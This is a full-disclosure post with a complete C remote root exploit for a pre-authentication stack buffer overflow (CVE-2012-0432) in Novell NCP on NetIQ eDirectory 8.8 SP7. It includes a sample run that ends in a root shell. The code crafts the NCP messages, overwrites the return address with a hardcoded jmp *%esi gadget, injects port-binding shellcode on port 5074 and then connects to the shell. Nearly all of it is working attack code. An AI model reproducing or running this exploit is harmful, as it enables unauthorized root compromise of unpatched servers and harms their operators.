1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 |
In the interest of full-disclosure, here is a remote exploit for the vulnerability found by David Klein: Demonstration Novell NCP Pre-Auth Remote Stack Buffer Overflow Connecting to host [127.0.0.1]... Connected! Sending message #1 (23 bytes) <-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00 Waiting for response (16 bytes)... Received 16 bytes (expecting 16) --> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00 Response #1 is valid, continue exploitation Received response connection number 0a Sending payload (190 bytes)... [...omitted...] 190 bytes sent Attempting to connect to shell at port 5074... Sleeping for 10 seconds... Success! pwd /var/opt/novell/instance0/data/dib id uid=0(root) gid=0(root) groups=0(root) exit Connection closed ********** BEGIN EXPLOIT ********** /* * Novell NCP Pre-Auth Remote Root Exploit * Written by Gary Nilson 11-17-2013 * * Overview (US-CERT/NIST CVES:CVE-2012-0432): * Stack-based buffer overflow in the Novell NCP implementation in * NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an * unspecified impact via unknown vectors. * * Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00) * * Exploited Platform: * Novell eDirectory 8.8 SP7 v20701.48 * Distribution: Debian GNU/Linux 6.0.6 (squeeze) * Linux Kernel: 2.6.32-5-686 * * Discovery: David Klein (david.r.klein at 676D61696) * */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/ioctl.h> /* * Due to address space randomization on my platform I had to rely on the * following in order to reliably execute the payload: * - At the moment that %eip is overwritten, %esi happens to point to the payload * located on the heap (horray). * - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains * the handy instruction jmp *%esi (located at 0x080a4697). */ #define NCP_PORT 524 #define SHELL_BIND_PORT 5074 #define RET_ADDRESS 0x080a4697 #define RET_PAYLOAD_OFFSET 65 #define PORT_PAYLOAD_OFFSET 24 #define PAYLOAD_SIZE 190 #define SHELL_CONNECT_DELAY 10 int main(int argc, char **argv){ struct hostent *host; struct sockaddr_in target_addr; int sockfd; fd_set rdfdset, fdsave;; int len_in; int i; int payload_size; int ret_address; short shell_port; int msg1_buffsize; int msg2_headersize; int recv_buffsize; int shellcode_size; char iochar; char *msg2_buff; char *recv_buff; /* Shellcode (adapted): * s0t4ipv6@Shellcode.com.ar * x86 portbind a shell in port 5074 */ char port_bind[] = "\xeb\x04" /* jmp +4 bytes*/ "\x00\x00\x00\x00" /* eip */ "\x31\xc0\x50\x40\x89\xc3\x50\x40" /* begin shellcode */ "\x50\x89\xe1\xb0\x66\xcd\x80\x31" "\xd2\x52\x66\x68\x13\xd2\x43\x66" "\x53\x89\xe1\x6a\x10\x51\x50\x89" "\xe1\xb0\x66\xcd\x80\x40\x89\x44" "\x24\x04\x43\x43\xb0\x66\xcd\x80" "\x83\xc4\x0c\x52\x52\x43\xb0\x66" "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd" "\x80\x41\x80\xf9\x03\x75\xf6\x52" "\x68\x6e\x2f\x73\x68\x68\x2f\x2f" "\x62\x69\x89\xe3\x52\x53\x89\xe1" "\xb0\x0b\xcd\x80"; char msg1[] = "\x44\x6d\x64\x54" /* NCP TCP id */ "\x00\x00\x00\x17" "\x00\x00\x00\x01\x00\x00\x00\x00" "\x11\x11\x00\x00\x00\x00\x00"; char recv[] = "\x74\x4e\x63\x50" /* TCP RCVD id*/ "\x00\x00\x00\x10" /* length ? */ "\x33\x33" /* service connection reply */ "\x00" /* sequence number*/ "\x10" /* connection number*/ "\x00" /* task number*/ "\x00" /* reserved */ "\x00" /* completion code*/ "\x00";/* ?? */ /* special thanks to the ncpfs source */ char msg2_header[] = "\x44\x6d\x64\x54"/* NCP TCP id */ "\x00\x00\x01\xa0" /* request_size + 16 + siglen + 6 */ "\x00\x00\x00\x01" /* version (1)*/ "\x00\x00\x00\x05" /* (reply buffer size)*/ /* signature would go here*/ "\x22\x22" /* cmd*/ "\x01" /* conn->sequence */ "\xff" /* conn->i.connection ??? */ "\x00" /* task (1) */ "\x00" /* conn->i.connection >> 8*/ "\x17" /* Login Object FunctionCode (23) */ "\x00\xa7" /* SubFuncStrucLen*/ "\x18" /* SubFunctionCode*/ "\x90\x90" /* object type*/ "\x50";/* ClientNameLen*/ if (argc != 2){ fprintf(stderr, "Syntax error: usage: %s target\n", argv[0]); exit(EXIT_FAILURE); } msg1_buffsize = sizeof(msg1)/(sizeof(msg1[0]))-1; msg2_headersize = sizeof(msg2_header)/(sizeof(msg2_header[0]))-1; recv_buffsize = sizeof(recv)/sizeof(recv[0])-1; shellcode_size = sizeof(port_bind)/sizeof(port_bind[0])-1; printf("Novell NCP Pre-Auth Remote Stack Buffer Overflow\n"); memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(NCP_PORT); if ((host = (struct hostent *)gethostbyname(argv[1])) == NULL){ perror("Error looking up hostname"); exit(EXIT_FAILURE); } memcpy(&target_addr.sin_addr, host->h_addr_list[0], host->h_length); printf("Connecting to host [%s]...\n", argv[1]); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("Error creating socket"); exit(EXIT_FAILURE); } if ((connect(sockfd, (const struct sockaddr *)&target_addr, sizeof(target_addr))) < 0){ perror("Unable to connect to host"); close(sockfd); exit(EXIT_FAILURE); } printf("Connected!\n"); printf("Sending message #1 (%d bytes)\n", msg1_buffsize); if (write(sockfd, msg1, msg1_buffsize) < 0){ perror("Error sending msg1"); close(sockfd); exit(EXIT_FAILURE); } printf("\n<-- "); for (i = 0; i < msg1_buffsize; i++) printf("%.2x ", msg1[i]); printf("\n\n"); printf("Waiting for response...\n"); recv_buff = malloc(recv_buffsize); len_in = read(sockfd, recv_buff, recv_buffsize); printf("Received %d bytes (expecting %d)\n", len_in, recv_buffsize); printf("\n--> "); for (i = 0; i < recv_buffsize; i++) printf("%.2x ", recv_buff[i]); printf("\n\n"); if (memcmp(recv_buff, recv, 4) == 0) printf("Response #1 is valid, continue exploitation\n"); else{ printf("Response $1 does not match, aborting!\n"); close(sockfd); free(recv_buff); } printf("Received response connection number %.2x\n", (char) recv_buff[11]); printf("Sending payload (%d bytes)...\n", PAYLOAD_SIZE); msg2_buff = malloc(PAYLOAD_SIZE); memset(msg2_buff, 0x90, PAYLOAD_SIZE); memcpy(msg2_buff, msg2_header, msg2_headersize); // yes, this assumes we are little endian payload_size = htonl(PAYLOAD_SIZE); memcpy(msg2_buff+4, &payload_size, 4); memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET-2, port_bind, shellcode_size); ret_address = RET_ADDRESS; memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET, &ret_address, 4); shell_port = htons(SHELL_BIND_PORT); memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET+PORT_PAYLOAD_OFFSET, &shell_port, 2); msg2_buff[19] = recv_buff[11]; free(recv_buff); printf("\n<-- "); for (i = 0; i < PAYLOAD_SIZE; i++) printf("%.2x ", msg2_buff[i] & 0xff); printf("\n\n"); if ((i = write(sockfd, msg2_buff, PAYLOAD_SIZE)) < 0){ perror("Error sending msg2"); close(sockfd); free(msg2_buff); exit(EXIT_FAILURE); } else printf("%d bytes sent\n", i, PAYLOAD_SIZE); printf("Sleeping for %d seconds...\n", SHELL_CONNECT_DELAY); sleep(SHELL_CONNECT_DELAY); close(sockfd); free(msg2_buff); printf("Attempting to connect to shell at port %d...\n", SHELL_BIND_PORT); target_addr.sin_port = htons(SHELL_BIND_PORT); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("Error creating socket"); exit(EXIT_FAILURE); } if ((connect(sockfd, (const struct sockaddr *)&target_addr, sizeof(target_addr))) < 0){ perror("Unable to connect to host"); close(sockfd); exit(EXIT_FAILURE); } printf("Success!\n"); FD_ZERO(&rdfdset); FD_SET(STDIN_FILENO, &rdfdset); FD_SET(sockfd, &rdfdset); len_in = 0; fdsave = rdfdset; while (1){ if (select(sockfd+1, &rdfdset, NULL, NULL, NULL) < 0){ perror("Select error"); close(sockfd); exit(EXIT_FAILURE); } for (i=STDIN_FILENO; i<=sockfd; i++){ if (FD_ISSET(i, &rdfdset)){ ioctl(i, FIONREAD, &len_in); if (len_in == 0){ printf("Connection closed\n"); exit(EXIT_SUCCESS); } while (len_in--){ read(i, &iochar, 1); write(i == sockfd ? STDOUT_FILENO : sockfd, &iochar, 1); } } } rdfdset = fdsave; } } |